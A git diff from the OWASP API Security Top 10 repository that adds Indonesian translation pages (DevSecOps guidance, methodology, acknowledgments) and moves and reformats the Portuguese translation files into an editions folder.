keamanan apa yang harus Anda cari untuk dimasukkan dalam proyek Anda. OWASP juga menyediakan beberapa pustaka dan alat yang mungkin Anda anggap berharga, seperti kontrol validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak yang Aman** | Anda dapat menggunakan [OWASP Software Assurance Maturity Model (SAMM)][13] untuk meningkatkan proses saat membangun API. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda selama fase pengembangan API yang berbeda misalnya, [OWASP Code Review Project][14]. | + + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/id/0xb1-next-devsecops.md b/editions/2019/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..97884ca53 --- /dev/null +++ b/editions/2019/id/0xb1-next-devsecops.md @@ -0,0 +1,25 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya dalam arsitektur aplikasi modern, membangun API yang aman sangat penting. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan penetration testing setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan yang berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan mereka adalah untuk meningkatkan pipeline pengembangan dengan otomatisasi keamanan, dan tanpa berdampak pada kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan tinjau, [DevSecOps Manifesto][1] sering. + +| | | +|-|-| +| **Pahami Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda tidak memilikinya, pertimbangkan menggunakan [OWASP Application Security Verification Standard (ASVS)][2], dan [OWASP Testing Guide][3] sebagai input. Melibatkan tim pengembangan dapat membantu membuat mereka lebih sadar keamanan. | +| **Pahami SDLC** | Bergabung dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus kompatibel dengan orang, proses, dan alat. Semua orang harus setuju dengan prosesnya, sehingga tidak ada gesekan atau perlawanan yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh berdampak pada kecepatan pengembangan, Anda harus bijaksana memilih teknik terbaik (sederhana, tercepat, paling akurat) untuk memverifikasi persyaratan keamanan. [OWASP Security Knowledge Framework][4] dan [OWASP Application Security Verification Standard][5] dapat menjadi sumber persyaratan keamanan fungsional dan non-fungsional yang hebat. Ada sumber lain yang hebat untuk [proyek][6] dan [alat][7] serupa dengan yang ditawarkan oleh [komunitas DevSecOps][8]. | +| **Meraih Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembang dan operasi. Untuk mencapai cakupan, Anda tidak hanya harus fokus pada fungsionalitas, tetapi juga orkestrasi. Bekerja dekat dengan tim pengembangan dan operasi dari awal sehingga Anda dapat mengoptimalkan waktu dan upaya Anda. Anda harus menargetkan keadaan di mana keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Berikan nilai dengan sedikit atau tanpa gesekan. Kirim temuan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk menangani temuan. Manfaatkan kesempatan untuk mendidik mereka, menjelaskan kelemahan dan bagaimana dapat disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org + diff --git a/editions/2019/id/0xd0-about-data.md b/editions/2019/id/0xd0-about-data.md new file mode 100644 index 000000000..c040d9f03 --- /dev/null +++ b/editions/2019/id/0xd0-about-data.md @@ -0,0 +1,23 @@ +# Metodologi dan Data + +## Ikhtisar + +Karena industri AppSec belum secara khusus difokuskan pada arsitektur aplikasi paling mutakhir, di mana API memainkan peran penting, menyusun daftar sepuluh risiko keamanan API paling kritis, berdasarkan panggilan data publik, akan menjadi tugas yang sulit. Meskipun tidak ada panggilan data publik, daftar Top 10 yang dihasilkan masih didasarkan pada data yang tersedia untuk publik, kontribusi pakar keamanan, dan diskusi terbuka dengan komunitas keamanan. + +## Metodologi + +Pada fase pertama, data publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan oleh sekelompok pakar keamanan. Data tersebut dikumpulkan dari platform bug bounty dan basis data kerentanan, dalam rentang waktu satu tahun. Itu digunakan untuk tujuan statistik. + +Pada fase berikutnya, praktisi keamanan dengan pengalaman penetration testing diminta untuk menyusun daftar Top 10 mereka sendiri. + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan Analisis Risiko. Skor didiskusikan dan ditinjau di antara praktisi keamanan. Untuk pertimbangan mengenai hal ini, harap merujuk pada bagian [API Security Risks][2]. + +Draf pertama OWASP API Security Top 10 2019 dihasilkan dari konsensus antara hasil statistik dari fase satu, dan daftar praktisi keamanan. Draf ini kemudian diserahkan untuk penghargaan dan tinjauan oleh kelompok praktisi keamanan lainnya, dengan pengalaman yang relevan di bidang keamanan API. + +OWASP API Security Top 10 2019 pertama kali dipresentasikan dalam acara OWASP Global AppSec Tel Aviv (Mei 2019). Sejak saat itu, telah tersedia di GitHub untuk diskusi publik dan kontribusi. + +Daftar kontributor tersedia di bagian [Penghargaan][3]. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2019/id/0xd1-acknowledgments.md b/editions/2019/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..b1193ba6a --- /dev/null +++ b/editions/2019/id/0xd1-acknowledgments.md @@ -0,0 +1,40 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin berterima kasih kepada kontributor berikut yang berkontribusi secara publik di GitHub atau melalui cara lain: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* faizzaidi +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 \ No newline at end of file diff --git a/editions/2019/id/dist/owasp-api-security-top-10.odt b/editions/2019/id/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..211d328b3 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/id/dist/owasp-api-security-top-10.pdf b/editions/2019/id/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..db762b080 Binary files /dev/null and b/editions/2019/id/dist/owasp-api-security-top-10.pdf differ diff --git a/editions/2019/id/images/cover.jpg b/editions/2019/id/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/id/images/cover.jpg differ diff --git a/editions/2019/id/images/front-cc.png b/editions/2019/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/id/images/front-cc.png differ diff --git a/editions/2019/id/images/front-wasp.png b/editions/2019/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/id/images/front-wasp.png differ diff --git a/editions/2019/id/images/license.png b/editions/2019/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/id/images/license.png differ diff --git a/editions/2019/id/images/owasp-logo.png b/editions/2019/id/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/id/images/owasp-logo.png differ diff --git a/editions/2019/mkdocs.yml b/editions/2019/mkdocs.yml new file mode 100644 index 000000000..5216b4969 --- /dev/null +++ b/editions/2019/mkdocs.yml @@ -0,0 +1,25 @@ +site_name: editions/2019 +docs_dir: . + +extra: + alternate: + - name: Arabic + lang: ar + - name: Bahasa (Indonesian) + lang: id + - name: German + lang: de + - name: English + lang: en + - name: Farsi + lang: fa + - name: French + lang: fr + - name: Greek (Greece) + lang: el-gr + - name: Português (Brasil) + lang: pt-BR + - name: Português (Portugal) + lang: pt-pt + - name: Russian + lang: ru diff --git a/2019/pt-br/src/0x00-header.md b/editions/2019/pt-BR/0x00-header.md similarity index 87% rename from 2019/pt-br/src/0x00-header.md rename to editions/2019/pt-BR/0x00-header.md index ad35e6ea5..08497d6dd 100644 --- a/2019/pt-br/src/0x00-header.md +++ b/editions/2019/pt-BR/0x00-header.md @@ -1,6 +1,10 @@ +--- +title: '' +--- + ![OWASP LOGO](images/owasp-logo.png) -## Os dez mais críticos riscos de segurança de API +# Os dez mais críticos riscos de segurança de API Uma tradução para o português do Brasil do projeto original "The Ten Most Critical API Security Risks" @@ -13,5 +17,3 @@ March 10th, 2020 | https://owasp.org | Este trabalho é licenciado sob a [Atribuição-CompartilhaIgual 4.0 Internacional (CC BY-SA 4.0)][1] | ![Creative Commons License Logo](images/front-cc.png) | [1]: https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR - - diff --git a/2019/pt-br/src/0x00-notice.md b/editions/2019/pt-BR/0x00-notice.md similarity index 91% rename from 2019/pt-br/src/0x00-notice.md rename to editions/2019/pt-BR/0x00-notice.md index 83ca47d3b..08e9c39d4 100644 --- a/2019/pt-br/src/0x00-notice.md +++ b/editions/2019/pt-BR/0x00-notice.md @@ -1,5 +1,4 @@ -Nota -====== +# Nota Esta é a versão em formato texto do projeto "OWASP API Security Top 10", sendo utilizado como fonte da versão oficial distribuída no formato PDF. @@ -8,4 +7,4 @@ Contribuições com o projeto, tais como comentários, correções ou traduçõe * Erez Yallon * Inon Shkedy -[1]: ../CONTRIBUTING.md \ No newline at end of file +[1]: ./CONTRIBUTING.md diff --git a/2019/pt-br/src/0x00-toc.md b/editions/2019/pt-BR/0x00-toc.md similarity index 94% rename from 2019/pt-br/src/0x00-toc.md rename to editions/2019/pt-BR/0x00-toc.md index 49a65da8b..c7546d247 100644 --- a/2019/pt-br/src/0x00-toc.md +++ b/editions/2019/pt-BR/0x00-toc.md @@ -1,9 +1,8 @@ -Tabela de conteúdo -================== +# Tabela de conteúdo * [Tabela de conteúdo](0x00-toc.md) * [Sobre o OWASP](0x01-about-owasp.md) -* [Prefácio](0x02-foreward.md) +* [Prefácio](0x02-foreword.md) * [Introdução](0x03-introduction.md) * [Notas da Versão](0x04-release-notes.md) * [Riscos de Segurança de API](0x10-api-security-risks.md) diff --git a/2019/pt-br/src/0x01-about-owasp.md b/editions/2019/pt-BR/0x01-about-owasp.md similarity index 96% rename from 2019/pt-br/src/0x01-about-owasp.md rename to editions/2019/pt-BR/0x01-about-owasp.md index 524ac1db1..609cbde7c 100644 --- a/2019/pt-br/src/0x01-about-owasp.md +++ b/editions/2019/pt-BR/0x01-about-owasp.md @@ -1,5 +1,4 @@ -Sobre o OWASP -============= +# Sobre o OWASP OWASP é o acrônimo em inglês para "Open Web Application Security Project", é uma comunidade aberta, dedicada a habilitar as organizações a desenvolver, comprar e manter aplicações e APIs que podem ser confiáveis. @@ -41,4 +40,4 @@ Copyright © 2003-2019 The OWASP Foundation. Este documento é liberado sob a [A [4]: https://wiki.owasp.org/index.php/Category:OWASP_AppSec_Conference [5]: https://lists.owasp.org/mailman/listinfo [6]: https://owasp.org/ -[7]: https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR \ No newline at end of file +[7]: https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR diff --git a/2019/pt-br/src/0x02-foreword.md b/editions/2019/pt-BR/0x02-foreword.md similarity index 99% rename from 2019/pt-br/src/0x02-foreword.md rename to editions/2019/pt-BR/0x02-foreword.md index ab4bed8ef..a911cde45 100644 --- a/2019/pt-br/src/0x02-foreword.md +++ b/editions/2019/pt-BR/0x02-foreword.md @@ -1,5 +1,4 @@ -Prefácio -======== +# Prefácio Elemento fundamental na inovação nas soluções *app-driven* nos dias de hoje são as APIs (*Application Programming Interface*). Desde os bancos, lojas, transportes, IoT, veículos autônomos e cidades inteligentes, as APIs são parte crítica de soluções modernas de móvel, SaaS, aplicações web em geral, e podem ser encontradas em interfaces com o cliente, parceiros e aplicações internas. diff --git a/2019/pt-br/src/0x03-introduction.md b/editions/2019/pt-BR/0x03-introduction.md similarity index 98% rename from 2019/pt-br/src/0x03-introduction.md rename to editions/2019/pt-BR/0x03-introduction.md index 881582e7a..d031b5704 100644 --- a/2019/pt-br/src/0x03-introduction.md +++ b/editions/2019/pt-BR/0x03-introduction.md @@ -1,5 +1,4 @@ -Introdução -============ +# Introdução ## Seja bem-vindo ao OWASP API Security Top 10 - 2019! diff --git a/2019/pt-br/src/0x04-release-notes.md b/editions/2019/pt-BR/0x04-release-notes.md similarity index 97% rename from 2019/pt-br/src/0x04-release-notes.md rename to editions/2019/pt-BR/0x04-release-notes.md index 7bf043657..cfc25e836 100644 --- a/2019/pt-br/src/0x04-release-notes.md +++ b/editions/2019/pt-BR/0x04-release-notes.md @@ -1,5 +1,4 @@ -Notas da Versão -=============== +# Notas da Versão Esta é a primeira edição do projeto OWASP API Security Top 10, que desejamos que seja atualizado periodicamente a cada três ou quatro anos. diff --git a/2019/pt-br/src/0x10-api-security-risks.md b/editions/2019/pt-BR/0x10-api-security-risks.md similarity index 97% rename from 2019/pt-br/src/0x10-api-security-risks.md rename to editions/2019/pt-BR/0x10-api-security-risks.md index 195046a7f..fd886009f 100644 --- a/2019/pt-br/src/0x10-api-security-risks.md +++ b/editions/2019/pt-BR/0x10-api-security-risks.md @@ -1,5 +1,4 @@ -Riscos de Segurança de API -========================== +# Riscos de Segurança de API A [Metodologia de Avaliação de Risco do OWASP][1] foi adotada para a análise dos riscos de API. diff --git a/2019/pt-br/src/0x11-t10.md b/editions/2019/pt-BR/0x11-t10.md similarity index 97% rename from 2019/pt-br/src/0x11-t10.md rename to editions/2019/pt-BR/0x11-t10.md index ba06a22f8..09fca704b 100644 --- a/2019/pt-br/src/0x11-t10.md +++ b/editions/2019/pt-BR/0x11-t10.md @@ -1,5 +1,4 @@ -OWASP Top 10 Riscos de Segurança de API – 2019 -============================================== +# OWASP Top 10 Riscos de Segurança de API – 2019 | Risco | Descrição | | ---- | ----------- | diff --git a/2019/pt-br/src/0xa1-broken-object-level-authorization.md b/editions/2019/pt-BR/0xa1-broken-object-level-authorization.md similarity index 97% rename from 2019/pt-br/src/0xa1-broken-object-level-authorization.md rename to editions/2019/pt-BR/0xa1-broken-object-level-authorization.md index 36d78873b..340f05736 100644 --- a/2019/pt-br/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/pt-BR/0xa1-broken-object-level-authorization.md @@ -1,5 +1,4 @@ -API1:2019 Broken Object Level Authorization -=========================================== +# API1:2019 Broken Object Level Authorization | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa2-broken-user-authentication.md b/editions/2019/pt-BR/0xa2-broken-user-authentication.md similarity index 98% rename from 2019/pt-br/src/0xa2-broken-user-authentication.md rename to editions/2019/pt-BR/0xa2-broken-user-authentication.md index aad1198bb..8feef6333 100644 --- a/2019/pt-br/src/0xa2-broken-user-authentication.md +++ b/editions/2019/pt-BR/0xa2-broken-user-authentication.md @@ -1,5 +1,4 @@ -API2:2019 Broken User Authentication -==================================== +# API2:2019 Broken User Authentication | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa3-excessive-data-exposure.md b/editions/2019/pt-BR/0xa3-excessive-data-exposure.md similarity index 98% rename from 2019/pt-br/src/0xa3-excessive-data-exposure.md rename to editions/2019/pt-BR/0xa3-excessive-data-exposure.md index 20c857f15..b69f4fe28 100644 --- a/2019/pt-br/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/pt-BR/0xa3-excessive-data-exposure.md @@ -1,5 +1,4 @@ -API3:2019 Excessive Data Exposure -================================= +# API3:2019 Excessive Data Exposure | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/pt-BR/0xa4-lack-of-resources-and-rate-limiting.md similarity index 98% rename from 2019/pt-br/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/pt-BR/0xa4-lack-of-resources-and-rate-limiting.md index 65f1b2810..0bb3fbbe6 100644 --- a/2019/pt-br/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/pt-BR/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,5 +1,4 @@ -API4:2019 Lack of Resources & Rate Limiting -=========================================== +# API4:2019 Lack of Resources & Rate Limiting | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa5-broken-function-level-authorization.md b/editions/2019/pt-BR/0xa5-broken-function-level-authorization.md similarity index 98% rename from 2019/pt-br/src/0xa5-broken-function-level-authorization.md rename to editions/2019/pt-BR/0xa5-broken-function-level-authorization.md index f24d3f9ad..fb39a0b2b 100644 --- a/2019/pt-br/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/pt-BR/0xa5-broken-function-level-authorization.md @@ -1,5 +1,4 @@ -API5:2019 Broken Function Level Authorization -============================================= +# API5:2019 Broken Function Level Authorization | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa6-mass-assignment.md b/editions/2019/pt-BR/0xa6-mass-assignment.md similarity index 98% rename from 2019/pt-br/src/0xa6-mass-assignment.md rename to editions/2019/pt-BR/0xa6-mass-assignment.md index 0988bedc7..74d074368 100644 --- a/2019/pt-br/src/0xa6-mass-assignment.md +++ b/editions/2019/pt-BR/0xa6-mass-assignment.md @@ -1,5 +1,4 @@ -API6:2019 - Mass Assignment -=========================== +# API6:2019 - Mass Assignment | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa7-security-misconfiguration.md b/editions/2019/pt-BR/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/pt-br/src/0xa7-security-misconfiguration.md rename to editions/2019/pt-BR/0xa7-security-misconfiguration.md index f2b5b92b1..f4efaec7f 100644 --- a/2019/pt-br/src/0xa7-security-misconfiguration.md +++ b/editions/2019/pt-BR/0xa7-security-misconfiguration.md @@ -1,5 +1,4 @@ -API7:2019 Security Misconfiguration -=================================== +# API7:2019 Security Misconfiguration | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa8-injection.md b/editions/2019/pt-BR/0xa8-injection.md similarity index 99% rename from 2019/pt-br/src/0xa8-injection.md rename to editions/2019/pt-BR/0xa8-injection.md index 7bd7ffa30..15c8530d0 100644 --- a/2019/pt-br/src/0xa8-injection.md +++ b/editions/2019/pt-BR/0xa8-injection.md @@ -1,5 +1,4 @@ -API8:2019 Injection -=================== +# API8:2019 Injection | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | diff --git a/2019/pt-br/src/0xa9-improper-assets-management.md b/editions/2019/pt-BR/0xa9-improper-assets-management.md similarity index 92% rename from 2019/pt-br/src/0xa9-improper-assets-management.md rename to editions/2019/pt-BR/0xa9-improper-assets-management.md index 3fa99df58..6fd930b26 100644 --- a/2019/pt-br/src/0xa9-improper-assets-management.md +++ b/editions/2019/pt-BR/0xa9-improper-assets-management.md @@ -1,5 +1,4 @@ -API9:2019 Improper Assets Management -==================================== +# API9:2019 Improper Assets Management | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | @@ -11,11 +10,11 @@ API9:2019 Improper Assets Management A API pode estar vulnerável se: * O propósito do *host* da API não for claro, e se não há respostas explícitas para as seguintes questões: - * Em qual ambiente está rodando à API? (Ex.: produção, *staging*, teste, desenvolvimento)? - * Quem deve ter acesso via rede à API (Ex.: pública, interna, parceiros)? - * Em qual versão está a API em execução? - * Que tipo de informação acessa a API (Ex.: Dados pessoais sensíveis)? - * Qual é o fluxo da informação? + * Em qual ambiente está rodando à API? (Ex.: produção, *staging*, teste, desenvolvimento)? + * Quem deve ter acesso via rede à API (Ex.: pública, interna, parceiros)? + * Em qual versão está a API em execução? + * Que tipo de informação acessa a API (Ex.: Dados pessoais sensíveis)? + * Qual é o fluxo da informação? * Não existe documentação, ou a documentação existente está desatualizada. * Não há um plano de retirada para cada versão da API. * Inventário de *hosts* não existe ou está desatualizado. diff --git a/2019/pt-br/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/pt-BR/0xaa-insufficient-logging-monitoring.md similarity index 96% rename from 2019/pt-br/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/pt-BR/0xaa-insufficient-logging-monitoring.md index efde3c889..334a6a811 100644 --- a/2019/pt-br/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/pt-BR/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,4 @@ -API10:2019 Insufficient Logging & Monitoring -============================================ +# API10:2019 Insufficient Logging & Monitoring | Agentes/Vetores | Fraquezas de Segurança | Impactos | | - | - | - | @@ -53,4 +52,4 @@ Uma plataforma de compartilhamento de vídeos foi atingida por um ataque de *cre [3]: https://owasp.org/www-project-proactive-controls/ [4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md [5]: https://cwe.mitre.org/data/definitions/223.html -[6]: https://cwe.mitre.org/data/definitions/778.html \ No newline at end of file +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/2019/pt-br/src/0xb0-next-devs.md b/editions/2019/pt-BR/0xb0-next-devs.md similarity index 98% rename from 2019/pt-br/src/0xb0-next-devs.md rename to editions/2019/pt-BR/0xb0-next-devs.md index 058cdb919..e346f99ed 100644 --- a/2019/pt-br/src/0xb0-next-devs.md +++ b/editions/2019/pt-BR/0xb0-next-devs.md @@ -1,5 +1,4 @@ -Próximos passos para Desenvolvedores -==================================== +# Próximos passos para Desenvolvedores A tarefa de criar e manter software seguro, ou, corrigir software existente, pode ser uma tarefa difícil. APIs não são diferentes. diff --git a/2019/pt-br/src/0xb1-next-devsecops.md b/editions/2019/pt-BR/0xb1-next-devsecops.md similarity index 97% rename from 2019/pt-br/src/0xb1-next-devsecops.md rename to editions/2019/pt-BR/0xb1-next-devsecops.md index 74cf0c19f..2eaef51c1 100644 --- a/2019/pt-br/src/0xb1-next-devsecops.md +++ b/editions/2019/pt-BR/0xb1-next-devsecops.md @@ -1,5 +1,4 @@ -Próximos passos para DevSecOps -============================== +# Próximos passos para DevSecOps Considerando sua importância na arquitetura de aplicações modernas, a construção de APIs seguras é crucial. A segurança não pode ser negligenciadas, e deve fazer parte de todo o ciclo de vida de desenvolvendo. Executar verificações e testes de penetração anualmente não é mais suficiente. @@ -22,4 +21,4 @@ Em caso de dúvidas, mantenha-se informado, e reveja o [Manifesto DevSecOps][1] [5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project [6]: http://devsecops.github.io/ [7]: https://github.com/devsecops/awesome-devsecops -[8]: http://devsecops.org \ No newline at end of file +[8]: http://devsecops.org diff --git a/2019/pt-br/src/0xd0-about-data.md b/editions/2019/pt-BR/0xd0-about-data.md similarity index 98% rename from 2019/pt-br/src/0xd0-about-data.md rename to editions/2019/pt-BR/0xd0-about-data.md index 5243f25c5..6e901e242 100644 --- a/2019/pt-br/src/0xd0-about-data.md +++ b/editions/2019/pt-BR/0xd0-about-data.md @@ -1,5 +1,4 @@ -Dados e Metodologia -=================== +# Dados e Metodologia ## Visão Geral diff --git a/2019/pt-br/src/0xd1-acknowledgments.md b/editions/2019/pt-BR/0xd1-acknowledgments.md similarity index 93% rename from 2019/pt-br/src/0xd1-acknowledgments.md rename to editions/2019/pt-BR/0xd1-acknowledgments.md index c5134d00c..296e431a0 100644 --- a/2019/pt-br/src/0xd1-acknowledgments.md +++ b/editions/2019/pt-BR/0xd1-acknowledgments.md @@ -1,5 +1,4 @@ -Agradecimentos -============== +# Agradecimentos ## Agradecimentos aos colaboradores @@ -43,4 +42,4 @@ Gostaríamos de agradecer os seguintes colaboradores que contribuiram publicamen * Raphael Hagi * Bruno Barbosa -* Eduardo Bellis \ No newline at end of file +* Eduardo Bellis diff --git a/2019/pt-br/CONTRIBUTING.md b/editions/2019/pt-BR/CONTRIBUTING.md similarity index 96% rename from 2019/pt-br/CONTRIBUTING.md rename to editions/2019/pt-BR/CONTRIBUTING.md index 24ef095b3..5261a9f85 100644 --- a/2019/pt-br/CONTRIBUTING.md +++ b/editions/2019/pt-BR/CONTRIBUTING.md @@ -1,5 +1,4 @@ -Como contribuir -=============== +# Como contribuir Quando quiser contribuir com este repositório, por favor, antes discuta a mudança que deseja fazer enviando a questão com o proprietário do repositório antes de efetivar a mudança. Correções de digitação ou de refraseamento para melhor compreensão NÃO requerem discussão com o proprietário. @@ -42,5 +41,5 @@ Contribuições a este repositório são bem-vindas. Para facilitar o gerencialm ``` 7. Abra um *pull request* do seu *branch* `fix/foreword-section` para o *branch* `develop` do repositório original do projeto. -[1]: .editorconfig +[1]: https://github.com/OWASP/API-Security/blob/master/.editorconfig [2]: https://editorconfig.org/ diff --git a/2019/pt-br/README.md b/editions/2019/pt-BR/README.md similarity index 96% rename from 2019/pt-br/README.md rename to editions/2019/pt-BR/README.md index 3208f5553..a10f6f40a 100644 --- a/2019/pt-br/README.md +++ b/editions/2019/pt-BR/README.md @@ -1,5 +1,4 @@ -Os dez mais críticos riscos de segurança de API -=============================================== +# Os dez mais críticos riscos de segurança de API Uma tradução para o português do Brasil do projeto OWASP API Security Top 10. diff --git a/2019/pt-br/dist/owasp-api-security-top-10-pt-br.odt b/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.odt similarity index 100% rename from 2019/pt-br/dist/owasp-api-security-top-10-pt-br.odt rename to editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.odt diff --git a/2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf b/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.pdf similarity index 100% rename from 2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf rename to editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.pdf diff --git a/2019/pt-br/src/images/cover.jpg b/editions/2019/pt-BR/images/cover.jpg similarity index 100% rename from 2019/pt-br/src/images/cover.jpg rename to editions/2019/pt-BR/images/cover.jpg diff --git a/editions/2019/pt-BR/images/front-cc.png b/editions/2019/pt-BR/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/pt-BR/images/front-cc.png differ diff --git a/editions/2019/pt-BR/images/front-wasp.png b/editions/2019/pt-BR/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/pt-BR/images/front-wasp.png differ diff --git a/editions/2019/pt-BR/images/license.png b/editions/2019/pt-BR/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/pt-BR/images/license.png differ diff --git a/editions/2019/pt-BR/images/owasp-logo.png b/editions/2019/pt-BR/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/pt-BR/images/owasp-logo.png differ diff --git a/2019/pt-pt/src/0x00-header.md b/editions/2019/pt-pt/0x00-header.md similarity index 89% rename from 2019/pt-pt/src/0x00-header.md rename to editions/2019/pt-pt/0x00-header.md index 1d04a55b0..d746d21b2 100644 --- a/2019/pt-pt/src/0x00-header.md +++ b/editions/2019/pt-pt/0x00-header.md @@ -1,6 +1,10 @@ +--- +title: '' +--- + ![OWASP LOGO](images/owasp-logo.png) -## OWASP API Security Top 10 2019 +# OWASP API Security Top 10 2019 Os Dez Problemas de Segurança Mais Críticos em APIs @@ -13,5 +17,3 @@ Os Dez Problemas de Segurança Mais Críticos em APIs | https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | [1]: http://creativecommons.org/licenses/by-sa/4.0/ - - diff --git a/2019/pt-pt/src/0x00-notice.md b/editions/2019/pt-pt/0x00-notice.md similarity index 91% rename from 2019/pt-pt/src/0x00-notice.md rename to editions/2019/pt-pt/0x00-notice.md index 22b6e1654..aafb244ef 100644 --- a/2019/pt-pt/src/0x00-notice.md +++ b/editions/2019/pt-pt/0x00-notice.md @@ -1,5 +1,4 @@ -Nota -==== +# Nota Esta é a versão de texto 